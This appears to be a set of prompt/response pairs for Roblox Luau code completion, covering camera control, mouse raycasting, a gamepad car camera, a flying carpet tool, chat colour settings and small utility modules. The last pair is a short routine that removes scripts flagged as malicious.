Prompt: -- Listener for changes to workspace.CurrentCamera

Response:
function BaseCamera:OnCurrentCameraChanged()
	if UserInputService.TouchEnabled then
		if self.viewportSizeChangedConn then
			self.viewportSizeChangedConn:Disconnect()
			self.viewportSizeChangedConn = nil
		end

		local newCamera = game.Workspace.CurrentCamera

		if newCamera then
			self:OnViewportSizeChanged()
			self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
				self:OnViewportSizeChanged()
			end)
		end
	end

	-- VR support additions
	if self.cameraSubjectChangedConn then
		self.cameraSubjectChangedConn:Disconnect()
		self.cameraSubjectChangedConn = nil
	end

	local camera = game.Workspace.CurrentCamera
	if camera then
		self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
			self:OnNewCameraSubject()
		end)
		self:OnNewCameraSubject()
	end
end

function BaseCamera:OnDynamicThumbstickEnabled()
	if UserInputService.TouchEnabled then
		self.isDynamicThumbstickEnabled = true
	end
end

function BaseCamera:OnDynamicThumbstickDisabled()
	self.isDynamicThumbstickEnabled = false
end

function BaseCamera:OnGameSettingsTouchMovementModeChanged()
	if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
		if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
			or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
			self:OnDynamicThumbstickEnabled()
		else
			self:OnDynamicThumbstickDisabled()
		end
	end
end

function BaseCamera:OnDevTouchMovementModeChanged()
	if player.DevTouchMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then
		self:OnDynamicThumbstickEnabled()
	else
		self:OnGameSettingsTouchMovementModeChanged()
	end
end

function BaseCamera:OnPlayerCameraPropertyChange()
	-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
	self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end

function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
	return translationVector * sensitivity
end

function BaseCamera:GamepadZoomPress()
	local dist = self:GetCameraToSubjectDistance()

	if FFlagUserCameraGamepadZoomFix then
		local cameraMinZoomDistance = player.CameraMinZoomDistance
		local cameraMaxZoomDistance = player.CameraMaxZoomDistance

		local ZOOM_STEP_1 = 0

		-- Adjust steps such that the minimum zoom level is not subceeded
		if cameraMinZoomDistance > FIRST_PERSON_DISTANCE_MIN then
			ZOOM_STEP_1 = cameraMinZoomDistance
		end

		local ZOOM_STEP_2 = ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP
		local ZOOM_STEP_3 = ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP

		-- Adjust steps such that maximum zoom level is not exceeded
		if cameraMaxZoomDistance < ZOOM_STEP_3 then
			ZOOM_STEP_3 = cameraMaxZoomDistance
			ZOOM_STEP_2 = ZOOM_STEP_1 + (ZOOM_STEP_3 - ZOOM_STEP_1)/2
		end

		if dist > (ZOOM_STEP_2 + ZOOM_STEP_3)/2 then
			self:SetCameraToSubjectDistance(ZOOM_STEP_2)
		elseif dist > (ZOOM_STEP_1 + ZOOM_STEP_2)/2 then
			self:SetCameraToSubjectDistance(ZOOM_STEP_1)
		else
			self:SetCameraToSubjectDistance(ZOOM_STEP_3)
		end
	else
		if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then
			self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)
		elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then
			self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)
		else
			self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)
		end
	end
end

function BaseCamera:Enable(enable: boolean)
	if self.enabled ~= enable then
		self.enabled = enable
		if self.enabled then
			CameraInput.setInputEnabled(true)

			self.gamepadZoomPressConnection = CameraInput.gamepadZoomPress:Connect(function()
				self:GamepadZoomPress()
			end)

			if player.CameraMode == Enum.CameraMode.LockFirstPerson then
				self.currentSubjectDistance = 0.5
				if not self.inFirstPerson then
					self:EnterFirstPerson()
				end
			end
		else
			CameraInput.setInputEnabled(false)

			if self.gamepadZoomPressConnection then
				self.gamepadZoomPressConnection:Disconnect()
				self.gamepadZoomPressConnection = nil
			end
			-- Clean up additional event listeners and reset a bunch of properties
			self:Cleanup()
		end

		self:OnEnable(enable)
	end
end

function BaseCamera:OnEnable(enable: boolean)
	-- for derived camera
end

function BaseCamera:GetEnabled(): boolean
	return self.enabled
end

function BaseCamera:Cleanup()
	if self.subjectStateChangedConn then
		self.subjectStateChangedConn:Disconnect()
		self.subjectStateChangedConn = nil
	end
	if self.viewportSizeChangedConn then
		self.viewportSizeChangedConn:Disconnect()
		self.viewportSizeChangedConn = nil
	end

	self.lastCameraTransform = nil
	self.lastSubjectCFrame = nil

	-- Unlock mouse for example if right mouse button was being held down
	CameraUtils.restoreMouseBehavior()
end

function BaseCamera:UpdateMouseBehavior()
	local blockToggleDueToClickToMove = UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove

	if self.isCameraToggle and blockToggleDueToClickToMove == false then
		CameraUI.setCameraModeToastEnabled(true)
		CameraInput.enableCameraToggleInput()
		CameraToggleStateController(self.inFirstPerson)
	else
		CameraUI.setCameraModeToastEnabled(false)
		CameraInput.disableCameraToggleInput()

		-- first time transition to first person mode or mouse-locked third person
		if self.inFirstPerson or self.inMouseLockedMode then
			CameraUtils.setRotationTypeOverride(Enum.RotationType.CameraRelative)
			CameraUtils.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter)
		else
			CameraUtils.restoreRotationType()

			local rotationActivated = CameraInput.getRotationActivated()
			if rotationActivated then
				CameraUtils.setMouseBehaviorOverride(Enum.MouseBehavior.LockCurrentPosition)
			else
				CameraUtils.restoreMouseBehavior()
			end
		end
	end
end

function BaseCamera:UpdateForDistancePropertyChange()
	-- Calling this setter with the current value will force checking that it is still
	-- in range after a change to the min/max distance limits
	self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end

function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number
	local lastSubjectDistance = self.currentSubjectDistance

	-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0
	-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made
	-- available by the developer without needing to allow players to mousewheel dolly into first person.
	-- Some modules will override this function to remove or change first-person capability.
	if player.CameraMode == Enum.CameraMode.LockFirstPerson then
		self.currentSubjectDistance = 0.5
		if not self.inFirstPerson then
			self:EnterFirstPerson()
		end
	else
		local newSubjectDistance = math.clamp(desiredSubjectDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
		if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then
			self.currentSubjectDistance = 0.5
			if not self.inFirstPerson then
				self:EnterFirstPerson()
			end
		else
			self.currentSubjectDistance = newSubjectDistance
			if self.inFirstPerson then
				self:LeaveFirstPerson()
			end
		end
	end

	-- Pass target distance and zoom direction to the zoom controller
	ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))

	-- Returned only for convenience to the caller to know the outcome
	return self.currentSubjectDistance
end

function BaseCamera:SetCameraType( cameraType )
	--Used by derived classes
	self.cameraType = cameraType
end

function BaseCamera:GetCameraType()
	return self.cameraType
end


Prompt: -- Obtiens l'objet Terrain

Response: local terrain = game.Workspace.Terrain


Prompt: --References to bindable events that act similarly to the original mouse

Response:
Mouse.LeftClick = leftClick.Event
Mouse.RightClick = rightClick.Event

function Mouse.GetUnitRay() : Ray
	--Get position of mouse on screen
	local x : number, y : number = UserInputService:GetMouseLocation().X, UserInputService:GetMouseLocation().Y

	--Convert that to a unit ray pointing towards the camera CFrame
	local ray : Ray = cam:ViewportPointToRay(x, y)

	return ray
end

function Mouse.Raycast(rayParams : RaycastParams?) : (RaycastResult?, Ray)
	local unitRay : Ray = Mouse.GetUnitRay()

	--Raycast from the origin to max dist
	local result : RaycastResult? = workspace:Raycast(unitRay.Origin, unitRay.Direction * MAX_DISTANCE, rayParams)

	--Give them the RaycastResult and Unit Ray, if they need it
	return result, unitRay
end

function Mouse.GetPosition(rayParams : RaycastParams?) : Vector3
    --Get the current Mouse Position, either as a raycastResult or Ray
    local raycast : RaycastResult?, unitRay : Ray = Mouse.Raycast(rayParams)

    --Return the appropriate value
	if raycast then
		--The raycast was successful, so we can just get the position
        return raycast.Position
	elseif unitRay then
		--Raycast was not successful, we need to manually calculate the intended position
        return unitRay.Origin + unitRay.Direction * MAX_DISTANCE
    end
end

function Mouse.GetTarget(rayParams : RaycastParams?) : Instance?
	--Call the raycast, forwarding the rayParams object
	local raycast : RaycastResult, unitRay : Ray = Mouse.Raycast(rayParams)

	--Give them target if it exists
    return raycast and raycast.Instance
end

function Mouse._OnInput(obj : InputObject)
    if obj.UserInputType == Enum.UserInputType.MouseButton1 then
        leftClick:Fire(obj.UserInputState)
    elseif obj.UserInputType == Enum.UserInputType.MouseButton2 then
        rightClick:Fire(obj.UserInputState)
    end
end

UserInputService.InputBegan:Connect(Mouse._OnInput)
UserInputService.InputEnded:Connect(Mouse._OnInput)

return Mouse


Prompt: ---Controller

Response:
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0

local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
	if Controller then
		if input.KeyCode ==Enum.KeyCode.ButtonX then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonX=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonX=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonY then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonY=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonY=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonL1=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonL1=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonR1=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonR1=0
			end
		elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
			if input.UserInputState == Enum.UserInputState.Begin then
				DPadUp=1
			elseif input.UserInputState == Enum.UserInputState.End then
				DPadUp=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonR3=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonR3=0
			end
		end
		if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
			if input.KeyCode == Enum.KeyCode.Thumbstick1 then
				LStickX = input.Position.X
			elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
				RStickX = input.Position.X
				RStickY = input.Position.Y
			elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
				RTriggerValue = input.Position.Z
			elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
				LTriggerValue = input.Position.Z
			end
		end
	end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)

car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		for i,v in pairs(Binded) do
			run:UnbindFromRenderStep(v)
		end
		workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
		workspace.CurrentCamera.FieldOfView=70
		player.CameraMaxZoomDistance=200
	end
end)

function Camera()
	local cam=workspace.CurrentCamera
	local intcam=false
	local CRot=0
	local CBack=0
	local CUp=0
	local mode=0
	local look=0
	local camChange = 0
	local function CamUpdate()
		if not pcall (function()
			if camChange==0 and DPadUp==1 then
				intcam = not intcam
			end
			camChange=DPadUp
			if mode==1 then
				if math.abs(RStickX)>.1 then
					local sPos=1
					if RStickX<0 then sPos=-1 end
					if intcam then
						CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
					else
						CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
					end
				else
					CRot=0
				end
				if math.abs(RStickY)>.1 then
					local sPos=1
					if RStickY<0 then sPos=-1 end
					if intcam then
						CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
					else
						CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
					end
				else
					CUp=0
				end
			else
				if CRot>look then
					CRot=math.max(look,CRot-20)
				elseif CRot<look then
					CRot=math.min(look,CRot+20)
				end
				CUp=0
			end
			if intcam then
				CBack=0
			else
				CBack=-180*ButtonR3
			end
			if intcam then
				cam.CameraSubject=player.Character.Humanoid
				cam.CameraType=Enum.CameraType.Scriptable
				cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12
				player.CameraMaxZoomDistance=5
				local cf=car.Body.Cam.CFrame
				if ButtonR3==1 then
					cf=car.Body.RCam.CFrame
				end
				cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
			else
				cam.CameraSubject=car.DriveSeat
				cam.FieldOfView=70
				if mode==0 then
					cam.CameraType=Enum.CameraType.Custom
					player.CameraMaxZoomDistance=400
					run:UnbindFromRenderStep("CamUpdate")
				else
					cam.CameraType = "Scriptable"
					local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
					local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
					cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
				end
			end
		end) then
			cam.FieldOfView=70
			cam.CameraSubject=player.Character.Humanoid
			cam.CameraType=Enum.CameraType.Custom
			player.CameraMaxZoomDistance=400
			run:UnbindFromRenderStep("CamUpdate")
		end
	end
	local function ModeChange()
		if GMode~=mode then
			mode=GMode
			run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
		end
	end
	mouse.KeyDown:connect(function(key)
		if key=="t" then
			look=50
		elseif key=="y" then
			if intcam then
				look=-160
			else
				look=-180
			end
		elseif key=="u" then
			look=-50
		elseif key=="v" then
			run:UnbindFromRenderStep("CamUpdate")
			intcam=not intcam
			run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
		end
	end)
	mouse.KeyUp:connect(function(key)
		if key=="t" and look==50 then
			look=0
		elseif key=="y" and (look==-160 or look==-180) then
			look=0
		elseif key=="u" and look==-50 then
			look=0
		end
	end)
	run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
	table.insert(Binded,"CamUpdate")
	table.insert(Binded,"CMChange")
end
Camera()

mouse.KeyDown:connect(function(key)
	if key=="b" then
		if GMode>=1 then
			GMode=0
		else
			GMode=GMode+1
		end
		if GMode==1 then
			Controller=true
		else
			Controller=false
		end
	end
end)


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")

RemovalMonitor = script:WaitForChild("RemovalMonitor")

CarpetPieces = {
	{MeshId = 223079795, Angle = 160},
	{MeshId = 223079835, Angle = 100},
	{MeshId = 223079888, Angle = 100},
	{MeshId = 223079981, Angle = 160},
}

CarpetSize = Vector3.new(3, 0.5, 6.5)

BaseUrl = "http://www.roblox.com/asset/?id="

Rate = (1 / 10)

BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true

ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart

RainbowColors = {
	Vector3.new(1, 0, 0),
	Vector3.new(1, 0.5, 0),
	Vector3.new(1, 1, 0),
	Vector3.new(0, 1, 0),
	Vector3.new(0, 1, 1),
	Vector3.new(0, 0, 1),
	Vector3.new(0.5, 0, 1)
}

Animations = {
	Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}

Grips = {
	Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
	Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}

Flying = false
ToolEquipped = false

ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool

ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool

Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true

function Clamp(Number, Min, Max)
	return math.max(math.min(Max, Number), Min)
end

function TransformModel(Objects, Center, NewCFrame, Recurse)
	local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
	for i, v in pairs(Objects) do
		if v:IsA("BasePart") then
			v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
		end
		if Recurse then
			TransformModel(v:GetChildren(), Center, NewCFrame, true)
		end
	end
end

function Weld(Parent, PrimaryPart)
	local Parts = {}
	local Welds = {}
	local function WeldModel(Parent, PrimaryPart)
		for i, v in pairs(Parent:GetChildren()) do
			if v:IsA("BasePart") then
				if v ~= PrimaryPart then
					local Weld = Instance.new("Weld")
					Weld.Name = "Weld"
					Weld.Part0 = PrimaryPart
					Weld.Part1 = v
					Weld.C0 = PrimaryPart.CFrame:inverse()
					Weld.C1 = v.CFrame:inverse()
					Weld.Parent = PrimaryPart
					table.insert(Welds, Weld)
				end
				table.insert(Parts, v)
			end
			WeldModel(v, PrimaryPart)
		end
	end
	WeldModel(Parent, PrimaryPart)
	return Parts, Welds
end

function CleanUp()

	for i, v in pairs(Tool:GetChildren()) do
		if v:IsA("BasePart") and v ~= Handle then
			v:Destroy()
		end
	end
end

function CreateRainbow(Length)
	local RainbowModel = Instance.new("Model")
	RainbowModel.Name = "RainbowPart"
	for i, v in pairs(RainbowColors) do
		local Part = ColorPart:Clone()
		Part.Name = "Part"
		Part.Size = Vector3.new(0.5, 0.5, Length)
		Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
		Part.Mesh.Scale = (Part.Size * 2)
		Part.Mesh.VertexColor = v
		Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
		Part.Parent = RainbowModel
	end
	local RainbowBoundingBox = BasePart:Clone()
	RainbowBoundingBox.Name = "BoundingBox"
	RainbowBoundingBox.Transparency = 1
	RainbowBoundingBox.Size = RainbowModel:GetModelSize()
	RainbowBoundingBox.Anchored = true
	RainbowBoundingBox.CanCollide = false
	RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
	RainbowBoundingBox.Parent = RainbowModel
	return RainbowModel
end

function GetRainbowModel()
	local ModelName = (Player.Name .. "'s Rainbow")
	local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
	if not Model then
		Model = Instance.new("Model")
		Model.Name = ModelName
		local RemovalMonitorClone = RemovalMonitor:Clone()
		RemovalMonitorClone.Disabled = false
		RemovalMonitorClone.Parent = Model
	end
	return Model
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end

function Activated()
	if not Tool.Enabled then
		return
	end
	Tool.Enabled = false
	Flying = not Flying
	if Flying then
		Handle.Transparency = 1
		CleanUp()
		local CarpetParts = {}
		for i, v in pairs(CarpetPieces) do
			local CarpetPart = BasePart:Clone()
			CarpetPart.CanCollide = false
			CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
			local Mesh = Instance.new("SpecialMesh")
			Mesh.MeshType = Enum.MeshType.FileMesh
			Mesh.MeshId = (BaseUrl .. v.MeshId)
			Mesh.TextureId = (BaseUrl .. "223080038")
			Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
			Mesh.VertexColor = Vector3.new(1, 1, 1)
			Mesh.Offset = Vector3.new(0, 0, 0)
			Mesh.Parent = CarpetPart
			local Weld = Instance.new("Weld")
			Weld.Part0 = Handle
			Weld.Part1 = CarpetPart
			local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
			local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
			Weld.C1 = CFrame.new(0, XOffset, YOffset)
			Weld.Parent = CarpetPart
			table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
			CarpetPart.Parent = Tool
		end

		spawn(function()
			InvokeClient("PlayAnimation", Animations.Sit)
			Tool.Grip = Grips.Flying
		end)

		Torso.Anchored = true
		delay(.2,function()
			Torso.Anchored = false
			Torso.Velocity = Vector3.new(0,0,0)
			Torso.RotVelocity = Vector3.new(0,0,0)
		end)

		FlightSpin = Instance.new("BodyGyro")
		FlightSpin.Name = "FlightSpin"
		FlightSpin.P = 10000
		FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
		FlightSpin.cframe = Torso.CFrame

		FlightPower = Instance.new("BodyVelocity")
		FlightPower.Name = "FlightPower"
		FlightPower.velocity = Vector3.new(0, 0, 0)
		FlightPower.maxForce = Vector3.new(0, 0, 0)	--Vector3.new(1,1,1)*1000000
		FlightPower.P = 1000

		FlightHold = Instance.new("BodyPosition")
		FlightHold.Name = "FlightHold"
		FlightHold.P = 100000
		FlightHold.maxForce = Vector3.new(0, 0, 0)
		FlightHold.position = Torso.Position

		FlightSpin.Parent = Torso
		FlightPower.Parent = Torso
		FlightHold.Parent = Torso

		spawn(function()
			local LastPlace = nil
			while Flying and ToolEquipped and CheckIfAlive() do

				local CurrentPlace = Handle.Position
				local Velocity = Torso.Velocity
				Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude

				if LastPlace and Velocity > 10 then

					spawn(function()
						local Model = GetRainbowModel()
						local Distance = (LastPlace - CurrentPlace).magnitude
						local Length = Distance + 3.5

						local RainbowModel = CreateRainbow(Length)

						--Thanks so much to ArceusInator for helping solve this part!
						local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)

						TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
						Debris:AddItem(RainbowModel, 1)
						RainbowModel.Parent = Model

						if Model and not Model.Parent then
							Model.Parent = game:GetService("Workspace")
						end

						LastPlace = CurrentPlace
					end)
				elseif not LastPlace then
					LastPlace = CurrentPlace
				end

				wait(Rate)
			end
		end)
	elseif not Flying then
		Torso.Velocity = Vector3.new(0, 0, 0)
		Torso.RotVelocity = Vector3.new(0, 0, 0)

		for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
			if v and v.Parent then
				v:Destroy()
			end
		end
		spawn(function()
			Tool.Grip = Grips.Normal
			InvokeClient("StopAnimation", Animations.Sit)
		end)
	end

	wait(2)

	Tool.Enabled = true
end

function Equipped(Mouse)
	Character = Tool.Parent
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("HumanoidRootPart")
	Player = Players:GetPlayerFromCharacter(Character)
	if not CheckIfAlive() then
		return
	end
	if Humanoid then
		if Humanoid.RigType == Enum.HumanoidRigType.R15 then
			Animations = {
				Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		else
			Animations = {
				Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		end
	end
	Tool.Grip = Grips.Normal
	ToolEquipped = true
end

function Unequipped()
	Flying = false
	for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
		if v and v.Parent then
			v:Destroy()
		end
	end
	CleanUp()
	Handle.Transparency = 0
	ToolEquipped = false
end

function OnServerInvoke(player, mode, value)
	if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
		return
	end
end

function InvokeClient(Mode, Value)
	local ClientReturn = nil
	pcall(function()
		ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
	end)
	return ClientReturn
end

CleanUp()

ServerControl.OnServerInvoke = OnServerInvoke

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt: -- @specs https://material.io/guidelines/motion/duration-easing.html#duration-easing-natural-easing-curves

Response:
local Sharp = Bezier(0.4, 0, 0.6, 1)
local Standard = Bezier(0.4, 0, 0.2, 1) -- used for moving.
local Acceleration = Bezier(0.4, 0, 1, 1) -- used for exiting.
local Deceleration = Bezier(0, 0, 0.2, 1) -- used for entering.


Prompt: ----[[ Color Settings ]]

Response:
module.BackGroundColor = Color3.fromRGB(72, 0, 32)
module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.fromRGB(72, 0, 32)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.fromRGB(97, 19, 37)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)
module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)


Prompt:
--[[
	Evercyan @ March 2023
	AI

	This script handles the physical behavior of mobs, notably Following and Jumping.

	Mobs automatically follow any player within range, but once attacked, they will no longer follow the closest
	player within range for the follow session, and will instead start attacking the player which recently attacked it.
]]


Prompt: -- Load and configure the animations

Response:
local attackIdleAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackIdleAnimation)
attackIdleAnimation.Looped = true
attackIdleAnimation.Priority = Enum.AnimationPriority.Action
maid.attackIdleAnimation = attackIdleAnimation

local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation

local reloadAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.ReloadAnimation)
reloadAnimation.Looped = false
reloadAnimation.Priority = Enum.AnimationPriority.Action
maid.reloadAnimation = reloadAnimation


Prompt:
--[=[
	Returns a function that can be used to load modules relative
	to the script specified.

	```lua
	local require = require(script.Parent.loader).load(script)

	local maid = require("Maid")
	```

	@function load
	@param script Script -- The script to load dependencies for.
	@return (moduleReference: ModuleReference) -> any
	@within Loader
]=]

Response:
local function handleLoad(moduleScript)
	assert(typeof(moduleScript) == "Instance", "Bad moduleScript")

	return loader:GetLoader(moduleScript)
end

return setmetatable({
	load = handleLoad;
	bootstrapGame = bootstrapGame;
	bootstrapPlugin = bootstrapPlugin;
}, metatable)


Prompt: --------------------[ KEYBOARD FUNCTIONS ]--------------------------------------------

Response:
function KeyPress(key)
	if key then
		if Active then
			key = string.lower(key)
			if key == "c" then
				if Stance == 2 then
					print("Crouch")
					Crouch()
				end
			else
				if key == "x" then
					if Stance == 1 then
						print("Stand")
						Stand()
					end
				end
			end
		end
	end
end

script.Parent.Equipped:connect(function()
	Active = true
	mouse.KeyDown:connect(KeyPress)
end)

script.Parent.Unequipped:connect(function()
	Active = false
	Stand()
end)


Prompt: --				print("Malicious script "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --"Infected" scripts. Do I need to say more?

Response:
				i:Remove()
